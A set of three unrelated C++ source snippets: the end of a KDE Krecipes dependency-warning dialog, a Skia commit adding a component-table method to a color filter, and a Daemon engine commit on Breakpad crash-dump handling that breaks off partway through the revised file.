* Unai Garro (ugarro@users.sourceforge.net) *
* Cyril Bosselut (bosselut@b1project.com) *
* *
* Copyright (C) 2003-2005 by *
* Jason Kivlighn (jkivlighn@gmail.com) *
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
***************************************************************************/
#include "dependanciesdialog.h"
#include "datablocks/elementlist.h"
#include <kvbox.h>
//Added by qt3to4:
#include <QLabel>
#include <Q3ValueList>
#include <klocale.h>
#include <kglobal.h>
#include <kconfig.h>
#include <kmessagebox.h>
DependanciesDialog::DependanciesDialog( QWidget *parent, const Q3ValueList<ListInfo> &lists, bool deps_are_deleted )
: KDialog( parent ), m_depsAreDeleted(deps_are_deleted)
{
init( lists );
}
DependanciesDialog::DependanciesDialog( QWidget *parent, const ListInfo &list, bool deps_are_deleted ) : KDialog( parent ),
m_depsAreDeleted(deps_are_deleted)
{
Q3ValueList<ListInfo> lists;
lists << list;
init( lists );
}
DependanciesDialog::~DependanciesDialog()
{}
void DependanciesDialog::init( const Q3ValueList<ListInfo> &lists )
{
setModal(true);
setDefaultButton(KDialog::Cancel);
setButtons(KDialog::Ok | KDialog::Cancel);
setCaption( i18n( "Element with Dependencies" ) );
KVBox *page = new KVBox( this );
setMainWidget( page );
// Design the dialog
instructionsLabel = new QLabel( page );
instructionsLabel->setMinimumSize( QSize( 100, 30 ) );
instructionsLabel->setMaximumSize( QSize( 10000, 10000 ) );
instructionsLabel->setAlignment( Qt::AlignVCenter );
instructionsLabel->setWordWrap(true);
if ( m_depsAreDeleted ) {
instructionsLabel->setText( i18n( "<b>WARNING:</b> The following will have to be removed also, since currently they use the element you have chosen to be removed." ) );
}
else {
instructionsLabel->setText( i18n( "<b>WARNING:</b> The following currently use the element you have chosen to be removed." ) );
}
for ( Q3ValueList<ListInfo>::const_iterator list_it = lists.begin(); list_it != lists.end(); ++list_it ) {
if ( !((*list_it).list).isEmpty() ) {
Q3GroupBox *groupBox = new Q3GroupBox( 1, Qt::Vertical, (*list_it).name, page );
K3ListBox *listBox = new K3ListBox( groupBox );
loadList( listBox, (*list_it).list );
}
}
setSizeGripEnabled( true );
}
void DependanciesDialog::loadList( K3ListBox* listBox, const ElementList &list )
{
KConfigGroup config( KGlobal::config(), "Advanced" );
bool show_id = config.readEntry( "ShowID", false );
for ( ElementList::const_iterator el_it = list.begin(); el_it != list.end(); ++el_it ) {
QString name = ( *el_it ).name;
if ( show_id )
name += " (" + QString::number(( *el_it ).id) + ")";
listBox->insertItem( name );
}
}
void DependanciesDialog::accept()
{
if ( !m_msg.isEmpty() ) {
switch ( KMessageBox::warningYesNo(this,
QString("<b>%1</b><br><br>%2").arg(m_msg).arg(i18n("Are you sure you wish to proceed?")),
QString::null,KStandardGuiItem::yes(),KStandardGuiItem::no(),"doubleCheckDelete") )
{
case KMessageBox::Yes: QDialog::accept(); break;
case KMessageBox::No: QDialog::reject(); break;
}
}
else
QDialog::accept();
}
<|endoftext|>
|
<commit_before>#include "SkColorPriv.h"
#include "SkTableColorFilter.h"
#include "SkUnPreMultiply.h"
class SkTable_ColorFilter : public SkColorFilter {
public:
SkTable_ColorFilter(const uint8_t tableA[], const uint8_t tableR[],
const uint8_t tableG[], const uint8_t tableB[]) {
fFlags = 0;
uint8_t* dst = fStorage;
if (tableA) {
memcpy(dst, tableA, 256);
dst += 256;
fFlags |= kA_Flag;
}
if (tableR) {
memcpy(dst, tableR, 256);
dst += 256;
fFlags |= kR_Flag;
}
if (tableG) {
memcpy(dst, tableG, 256);
dst += 256;
fFlags |= kG_Flag;
}
if (tableB) {
memcpy(dst, tableB, 256);
fFlags |= kB_Flag;
}
}
virtual void filterSpan(const SkPMColor src[], int count,
SkPMColor dst[]) SK_OVERRIDE;
virtual void flatten(SkFlattenableWriteBuffer&) SK_OVERRIDE;
virtual Factory getFactory() SK_OVERRIDE;
static SkFlattenable* CreateProc(SkFlattenableReadBuffer& buffer) {
return SkNEW_ARGS(SkTable_ColorFilter, (buffer));
}
protected:
SkTable_ColorFilter(SkFlattenableReadBuffer& buffer);
private:
enum {
kA_Flag = 1 << 0,
kR_Flag = 1 << 1,
kG_Flag = 1 << 2,
kB_Flag = 1 << 3,
};
uint8_t fStorage[256 * 4];
unsigned fFlags;
typedef SkColorFilter INHERITED;
};
static const uint8_t gIdentityTable[] = {
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,
0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,
0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,
0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7,
0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,
0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7,
0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,
0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7,
0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,
0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,
0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,
0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,
0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF
};
void SkTable_ColorFilter::filterSpan(const SkPMColor src[], int count,
SkPMColor dst[]) {
const uint8_t* table = fStorage;
const uint8_t* tableA = gIdentityTable;
const uint8_t* tableR = gIdentityTable;
const uint8_t* tableG = gIdentityTable;
const uint8_t* tableB = gIdentityTable;
if (fFlags & kA_Flag) {
tableA = table; table += 256;
}
if (fFlags & kR_Flag) {
tableR = table; table += 256;
}
if (fFlags & kG_Flag) {
tableG = table; table += 256;
}
if (fFlags & kB_Flag) {
tableB = table;
}
const SkUnPreMultiply::Scale* scaleTable = SkUnPreMultiply::GetScaleTable();
for (int i = 0; i < count; ++i) {
SkPMColor c = src[i];
unsigned a, r, g, b;
if (0 == c) {
a = r = g = b = 0;
} else {
a = SkGetPackedA32(c);
r = SkGetPackedR32(c);
g = SkGetPackedG32(c);
b = SkGetPackedB32(c);
if (a < 255) {
SkUnPreMultiply::Scale scale = scaleTable[a];
r = SkUnPreMultiply::ApplyScale(scale, r);
g = SkUnPreMultiply::ApplyScale(scale, g);
b = SkUnPreMultiply::ApplyScale(scale, b);
}
}
dst[i] = SkPremultiplyARGBInline(tableA[a], tableR[r],
tableG[g], tableB[b]);
}
}
SkFlattenable::Factory SkTable_ColorFilter::getFactory() {
return CreateProc;
}
static const uint8_t gCountNibBits[] = {
0, 1, 1, 2,
1, 2, 2, 3,
1, 2, 2, 3,
2, 3, 3, 4
};
#include "SkPackBits.h"
void SkTable_ColorFilter::flatten(SkFlattenableWriteBuffer& buffer) {
this->INHERITED::flatten(buffer);
uint8_t storage[5*256];
int count = gCountNibBits[fFlags & 0xF];
size_t size = SkPackBits::Pack8(fStorage, count * 256, storage);
SkASSERT(size <= sizeof(storage));
// SkDebugf("raw %d packed %d\n", count * 256, size);
buffer.writeInt(fFlags);
buffer.writeInt(size);
buffer.write(storage, size);
}
SkTable_ColorFilter::SkTable_ColorFilter(SkFlattenableReadBuffer& buffer) : INHERITED(buffer) {
uint8_t storage[5*256];
fFlags = buffer.readInt();
size_t size = buffer.readInt();
buffer.read(storage, size);
size_t raw = SkPackBits::Unpack8(storage, size, fStorage);
SkASSERT(raw <= sizeof(fStorage));
size_t count = gCountNibBits[fFlags & 0xF];
SkASSERT(raw == count * 256);
}
///////////////////////////////////////////////////////////////////////////////
#ifdef SK_CPU_BENDIAN
#else
#define SK_A32_INDEX (3 - (SK_A32_SHIFT >> 3))
#define SK_R32_INDEX (3 - (SK_R32_SHIFT >> 3))
#define SK_G32_INDEX (3 - (SK_G32_SHIFT >> 3))
#define SK_B32_INDEX (3 - (SK_B32_SHIFT >> 3))
#endif
///////////////////////////////////////////////////////////////////////////////
SkColorFilter* SkTableColorFilter::Create(const uint8_t table[256]) {
return SkNEW_ARGS(SkTable_ColorFilter, (table, table, table, table));
}
SkColorFilter* SkTableColorFilter::CreateARGB(const uint8_t tableA[256],
const uint8_t tableR[256],
const uint8_t tableG[256],
const uint8_t tableB[256]) {
return SkNEW_ARGS(SkTable_ColorFilter, (tableA, tableR, tableG, tableB));
}
<commit_msg>override asComponentTable()<commit_after>#include "SkColorPriv.h"
#include "SkTableColorFilter.h"
#include "SkUnPreMultiply.h"
class SkTable_ColorFilter : public SkColorFilter {
public:
SkTable_ColorFilter(const uint8_t tableA[], const uint8_t tableR[],
const uint8_t tableG[], const uint8_t tableB[]) {
fBitmap = NULL;
fFlags = 0;
uint8_t* dst = fStorage;
if (tableA) {
memcpy(dst, tableA, 256);
dst += 256;
fFlags |= kA_Flag;
}
if (tableR) {
memcpy(dst, tableR, 256);
dst += 256;
fFlags |= kR_Flag;
}
if (tableG) {
memcpy(dst, tableG, 256);
dst += 256;
fFlags |= kG_Flag;
}
if (tableB) {
memcpy(dst, tableB, 256);
fFlags |= kB_Flag;
}
}
virtual bool asComponentTable(SkBitmap* table) SK_OVERRIDE;
virtual void filterSpan(const SkPMColor src[], int count,
SkPMColor dst[]) SK_OVERRIDE;
virtual void flatten(SkFlattenableWriteBuffer&) SK_OVERRIDE;
virtual Factory getFactory() SK_OVERRIDE;
static SkFlattenable* CreateProc(SkFlattenableReadBuffer& buffer) {
return SkNEW_ARGS(SkTable_ColorFilter, (buffer));
}
protected:
SkTable_ColorFilter(SkFlattenableReadBuffer& buffer);
private:
SkBitmap* fBitmap;
enum {
kA_Flag = 1 << 0,
kR_Flag = 1 << 1,
kG_Flag = 1 << 2,
kB_Flag = 1 << 3,
};
uint8_t fStorage[256 * 4];
unsigned fFlags;
typedef SkColorFilter INHERITED;
};
static const uint8_t gIdentityTable[] = {
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27,
0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F,
0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37,
0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F,
0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47,
0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F,
0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57,
0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F,
0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67,
0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F,
0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77,
0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F,
0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87,
0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D, 0x8E, 0x8F,
0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97,
0x98, 0x99, 0x9A, 0x9B, 0x9C, 0x9D, 0x9E, 0x9F,
0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7,
0xA8, 0xA9, 0xAA, 0xAB, 0xAC, 0xAD, 0xAE, 0xAF,
0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7,
0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF,
0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0xC5, 0xC6, 0xC7,
0xC8, 0xC9, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF,
0xD0, 0xD1, 0xD2, 0xD3, 0xD4, 0xD5, 0xD6, 0xD7,
0xD8, 0xD9, 0xDA, 0xDB, 0xDC, 0xDD, 0xDE, 0xDF,
0xE0, 0xE1, 0xE2, 0xE3, 0xE4, 0xE5, 0xE6, 0xE7,
0xE8, 0xE9, 0xEA, 0xEB, 0xEC, 0xED, 0xEE, 0xEF,
0xF0, 0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7,
0xF8, 0xF9, 0xFA, 0xFB, 0xFC, 0xFD, 0xFE, 0xFF
};
void SkTable_ColorFilter::filterSpan(const SkPMColor src[], int count,
SkPMColor dst[]) {
const uint8_t* table = fStorage;
const uint8_t* tableA = gIdentityTable;
const uint8_t* tableR = gIdentityTable;
const uint8_t* tableG = gIdentityTable;
const uint8_t* tableB = gIdentityTable;
if (fFlags & kA_Flag) {
tableA = table; table += 256;
}
if (fFlags & kR_Flag) {
tableR = table; table += 256;
}
if (fFlags & kG_Flag) {
tableG = table; table += 256;
}
if (fFlags & kB_Flag) {
tableB = table;
}
const SkUnPreMultiply::Scale* scaleTable = SkUnPreMultiply::GetScaleTable();
for (int i = 0; i < count; ++i) {
SkPMColor c = src[i];
unsigned a, r, g, b;
if (0 == c) {
a = r = g = b = 0;
} else {
a = SkGetPackedA32(c);
r = SkGetPackedR32(c);
g = SkGetPackedG32(c);
b = SkGetPackedB32(c);
if (a < 255) {
SkUnPreMultiply::Scale scale = scaleTable[a];
r = SkUnPreMultiply::ApplyScale(scale, r);
g = SkUnPreMultiply::ApplyScale(scale, g);
b = SkUnPreMultiply::ApplyScale(scale, b);
}
}
dst[i] = SkPremultiplyARGBInline(tableA[a], tableR[r],
tableG[g], tableB[b]);
}
}
SkFlattenable::Factory SkTable_ColorFilter::getFactory() {
return CreateProc;
}
static const uint8_t gCountNibBits[] = {
0, 1, 1, 2,
1, 2, 2, 3,
1, 2, 2, 3,
2, 3, 3, 4
};
#include "SkPackBits.h"
void SkTable_ColorFilter::flatten(SkFlattenableWriteBuffer& buffer) {
this->INHERITED::flatten(buffer);
uint8_t storage[5*256];
int count = gCountNibBits[fFlags & 0xF];
size_t size = SkPackBits::Pack8(fStorage, count * 256, storage);
SkASSERT(size <= sizeof(storage));
// SkDebugf("raw %d packed %d\n", count * 256, size);
buffer.writeInt(fFlags);
buffer.writeInt(size);
buffer.write(storage, size);
}
SkTable_ColorFilter::SkTable_ColorFilter(SkFlattenableReadBuffer& buffer) : INHERITED(buffer) {
fBitmap = NULL;
uint8_t storage[5*256];
fFlags = buffer.readInt();
size_t size = buffer.readInt();
buffer.read(storage, size);
size_t raw = SkPackBits::Unpack8(storage, size, fStorage);
SkASSERT(raw <= sizeof(fStorage));
size_t count = gCountNibBits[fFlags & 0xF];
SkASSERT(raw == count * 256);
}
bool SkTable_ColorFilter::asComponentTable(SkBitmap* table) {
if (table) {
if (NULL == fBitmap) {
fBitmap = new SkBitmap;
fBitmap->setConfig(SkBitmap::kA8_Config, 256, 4, 256);
fBitmap->allocPixels();
memcpy(fBitmap->getAddr8(0, 0), fStorage, 256 * 4);
}
*table = *fBitmap;
}
return true;
}
///////////////////////////////////////////////////////////////////////////////
#ifdef SK_CPU_BENDIAN
#else
#define SK_A32_INDEX (3 - (SK_A32_SHIFT >> 3))
#define SK_R32_INDEX (3 - (SK_R32_SHIFT >> 3))
#define SK_G32_INDEX (3 - (SK_G32_SHIFT >> 3))
#define SK_B32_INDEX (3 - (SK_B32_SHIFT >> 3))
#endif
///////////////////////////////////////////////////////////////////////////////
SkColorFilter* SkTableColorFilter::Create(const uint8_t table[256]) {
return SkNEW_ARGS(SkTable_ColorFilter, (table, table, table, table));
}
SkColorFilter* SkTableColorFilter::CreateARGB(const uint8_t tableA[256],
const uint8_t tableR[256],
const uint8_t tableG[256],
const uint8_t tableB[256]) {
return SkNEW_ARGS(SkTable_ColorFilter, (tableA, tableR, tableG, tableB));
}
<|endoftext|>
|
<commit_before>/*
===========================================================================
Daemon BSD Source Code
Copyright (c) 2013-2016, Daemon Developers
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of the Daemon developers nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL DAEMON DEVELOPERS BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
===========================================================================
*/
#include <common/FileSystem.h>
#include "CrashDump.h"
#include "System.h"
#ifdef _WIN32
#include <windows.h>
#endif
#ifdef USE_BREAKPAD
#ifdef _WIN32
#include "breakpad/src/client/windows/handler/exception_handler.h"
#elif defined(__linux__)
#include "breakpad/src/client/linux/handler/exception_handler.h"
#include "breakpad/src/client/linux/crash_generation/crash_generation_server.h"
#endif
#endif // USE_BREAKPAD
Log::Logger crashDumpLogs("common.breakpad", "", Log::Level::NOTICE);
namespace Sys {
static std::string CrashDumpPath() {
return FS::Path::Build(FS::GetHomePath(), "crashdump/");
}
bool CreateCrashDumpPath() {
crashDumpLogs.Debug("Creating crash dump path: %s", CrashDumpPath());
std::error_code createDirError;
FS::RawPath::CreatePathTo(FS::Path::Build(CrashDumpPath(), "x"), createDirError);
bool success = !createDirError;
if (!success) {
#ifdef _WIN32
crashDumpLogs.Warn("Failed to create crash dump directory: %s", Win32StrError(GetLastError()));
#else
crashDumpLogs.Warn("Failed to create crash dump directory: %s", strerror(errno));
#endif
}
return success;
}
// Records a crash dump sent from the VM in minidump format. This is the same
// format that Breakpad uses, but nacl minidump does not require Breakpad to work.
void NaclCrashDump(const std::vector<uint8_t>& dump, Str::StringRef vmName) {
const size_t maxDumpSize = (512 + 64) * 1024; // from http://src.chromium.org/viewvc/native_client/trunk/src/native_client/src/untrusted/minidump_generator/minidump_generator.cc
if(dump.size() > maxDumpSize) { // sanity check: shouldn't be bigger than the buffer in nacl
crashDumpLogs.Warn("Ignoring NaCl crash dump request: size too large");
} else {
auto time = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::high_resolution_clock().now().time_since_epoch()).count();
std::string path = FS::Path::Build(CrashDumpPath(), Str::Format("crash-nacl-%s-%s.dmp", vmName, std::to_string(time)));
// Note: the file functions always use binary mode on Windows so there shouldn't be any lossiness.
try {
auto file = FS::RawPath::OpenWrite(path);
file.Write(dump.data(), dump.size());
file.Close();
crashDumpLogs.Notice("Wrote crash dump to %s", path);
} catch (const std::system_error& error) {
crashDumpLogs.Warn("Error while writing crash dump: %s", error.what());
}
}
}
#ifdef USE_BREAKPAD
static std::string CrashServerPath() {
#ifdef _WIN32
std::string name = "crash_server.exe";
#else
std::string name = "crash_server";
#endif
return FS::Path::Build(FS::GetLibPath(), name);
}
static Cvar::Cvar<bool> enableBreakpad("common.breakpad.enabled", "If enabled on startup, starts a process for recording crash dumps", Cvar::TEMPORARY, true);
#ifdef _WIN32
static std::unique_ptr<google_breakpad::ExceptionHandler> crashHandler;
static bool BreakpadInitInternal() {
std::string crashDir = CrashDumpPath();
std::string executable = CrashServerPath();
std::string pipeName = GetSingletonSocketPath() + "-crash";
DWORD pid = GetCurrentProcessId();
std::string cmdLine = "\"" + executable + "\" " + pipeName + " \"" + crashDir + " \" " + std::to_string(pid);
crashDumpLogs.Debug("Starting crash server with the following command line: %s", cmdLine);
STARTUPINFOA startInfo{};
startInfo.cb = sizeof(startInfo);
startInfo.dwFlags = 0;
PROCESS_INFORMATION procInfo;
if (!CreateProcessA(&executable[0], &cmdLine[0],
NULL, NULL, FALSE, 0, NULL, NULL,
&startInfo, &procInfo))
{
crashDumpLogs.Warn("Failed to start crash logging server: %s", Win32StrError(GetLastError()));
return false;
}
CloseHandle(procInfo.hProcess);
CloseHandle(procInfo.hThread);
std::wstring wPipeName = Str::UTF8To16(pipeName);
crashHandler.reset(new google_breakpad::ExceptionHandler(
Str::UTF8To16(crashDir),
nullptr,
nullptr,
nullptr,
google_breakpad::ExceptionHandler::HANDLER_ALL,
MiniDumpNormal,
wPipeName.c_str(),
nullptr));
return true;
}
#elif defined(__linux__)
std::unique_ptr<google_breakpad::ExceptionHandler> crashHandler;
static bool CreateReportChannel(int& fdServer, int& fdClient) {
if (!google_breakpad::CrashGenerationServer::CreateReportChannel(&fdServer, &fdClient)) {
return false;
}
// Breakpad's function makes the client fd inheritable and the server not,
// but we want the opposite.
int oldflags;
return -1 != (oldflags = fcntl(fdServer, F_GETFD))
&& -1 != fcntl(fdServer, F_SETFD, oldflags & ~FD_CLOEXEC)
&& -1 != (oldflags = fcntl(fdClient, F_GETFD))
&& -1 != fcntl(fdClient, F_SETFD, oldflags | FD_CLOEXEC);
}
static bool BreakpadInitInternal() {
int fdServer, fdClient;
if (!CreateReportChannel(fdServer, fdClient)) {
crashDumpLogs.Warn("Failed to start crash logging server");
return false;
}
// allocate exec arguments before forking to avoid malloc use
std::string fdServerStr = std::to_string(fdServer);
std::string crashDir = CrashDumpPath();
std::string exePath = CrashServerPath();
crashDumpLogs.Debug("Starting crash server with the following command line: %s %s %s <child pid>",
exePath.c_str(),
fdServerStr.c_str(),
crashDir.c_str());
pid_t pid = fork();
if (pid == -1) {
crashDumpLogs.Warn("Failed to start crash logging server: %s", strerror(errno));
return false;
} else if (pid != 0) { // Breakpad server MUST be in parent of engine process
char pidStr[16];
snprintf(pidStr, sizeof(pidStr), "%d", pid);
const char* args[] = { exePath.c_str(), fdServerStr.c_str(), crashDir.c_str(), pidStr, nullptr };
execv(exePath.c_str(), const_cast<char * const *>(args));
_exit(1);
}
crashHandler.reset(new google_breakpad::ExceptionHandler(
google_breakpad::MinidumpDescriptor{}, nullptr, nullptr,
nullptr, true, fdClient));
return true;
}
#endif // linux
void BreakpadInit() {
if (!enableBreakpad.Get()) {
return;
}
if (BreakpadInitInternal()) {
crashDumpLogs.Notice("Starting crash logging server");
}
}
#else // USE_BREAKPAD
void BreakpadInit() {
}
#endif // USE_BREAKPAD
} // namespace Sys
<commit_msg>Kill daemon if crash_server doesn't start<commit_after>/*
===========================================================================
Daemon BSD Source Code
Copyright (c) 2013-2016, Daemon Developers
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
* Neither the name of the Daemon developers nor the
names of its contributors may be used to endorse or promote products
derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL DAEMON DEVELOPERS BE LIABLE FOR ANY
DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
===========================================================================
*/
#include <common/FileSystem.h>
#include "CrashDump.h"
#include "System.h"
#ifdef _WIN32
#include <windows.h>
#endif
#ifdef USE_BREAKPAD
#ifdef _WIN32
#include "breakpad/src/client/windows/handler/exception_handler.h"
#elif defined(__linux__)
#include "breakpad/src/client/linux/handler/exception_handler.h"
#include "breakpad/src/client/linux/crash_generation/crash_generation_server.h"
#endif
#endif // USE_BREAKPAD
Log::Logger crashDumpLogs("common.breakpad", "", Log::Level::NOTICE);
namespace Sys {
static std::string CrashDumpPath() {
return FS::Path::Build(FS::GetHomePath(), "crashdump/");
}
bool CreateCrashDumpPath() {
crashDumpLogs.Debug("Creating crash dump path: %s", CrashDumpPath());
std::error_code createDirError;
FS::RawPath::CreatePathTo(FS::Path::Build(CrashDumpPath(), "x"), createDirError);
bool success = !createDirError;
if (!success) {
#ifdef _WIN32
crashDumpLogs.Warn("Failed to create crash dump directory: %s", Win32StrError(GetLastError()));
#else
crashDumpLogs.Warn("Failed to create crash dump directory: %s", strerror(errno));
#endif
}
return success;
}
// Records a crash dump sent from the VM in minidump format. This is the same
// format that Breakpad uses, but nacl minidump does not require Breakpad to work.
void NaclCrashDump(const std::vector<uint8_t>& dump, Str::StringRef vmName) {
const size_t maxDumpSize = (512 + 64) * 1024; // from http://src.chromium.org/viewvc/native_client/trunk/src/native_client/src/untrusted/minidump_generator/minidump_generator.cc
if(dump.size() > maxDumpSize) { // sanity check: shouldn't be bigger than the buffer in nacl
crashDumpLogs.Warn("Ignoring NaCl crash dump request: size too large");
} else {
auto time = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::high_resolution_clock().now().time_since_epoch()).count();
std::string path = FS::Path::Build(CrashDumpPath(), Str::Format("crash-nacl-%s-%s.dmp", vmName, std::to_string(time)));
// Note: the file functions always use binary mode on Windows so there shouldn't be any lossiness.
try {
auto file = FS::RawPath::OpenWrite(path);
file.Write(dump.data(), dump.size());
file.Close();
crashDumpLogs.Notice("Wrote crash dump to %s", path);
} catch (const std::system_error& error) {
crashDumpLogs.Warn("Error while writing crash dump: %s", error.what());
}
}
}
#ifdef USE_BREAKPAD
static std::string CrashServerPath() {
#ifdef _WIN32
std::string name = "crash_server.exe";
#else
std::string name = "crash_server";
#endif
return FS::Path::Build(FS::GetLibPath(), name);
}
static Cvar::Cvar<bool> enableBreakpad("common.breakpad.enabled", "If enabled on startup, starts a process for recording crash dumps", Cvar::TEMPORARY, true);
#ifdef _WIN32
static std::unique_ptr<google_breakpad::ExceptionHandler> crashHandler;
static bool BreakpadInitInternal() {
std::string crashDir = CrashDumpPath();
std::string executable = CrashServerPath();
std::string pipeName = GetSingletonSocketPath() + "-crash";
DWORD pid = GetCurrentProcessId();
std::string cmdLine = "\"" + executable + "\" " + pipeName + " \"" + crashDir + " \" " + std::to_string(pid);
crashDumpLogs.Debug("Starting crash server with the following command line: %s", cmdLine);
STARTUPINFOA startInfo{};
startInfo.cb = sizeof(startInfo);
startInfo.dwFlags = 0;
PROCESS_INFORMATION procInfo;
if (!CreateProcessA(&executable[0], &cmdLine[0],
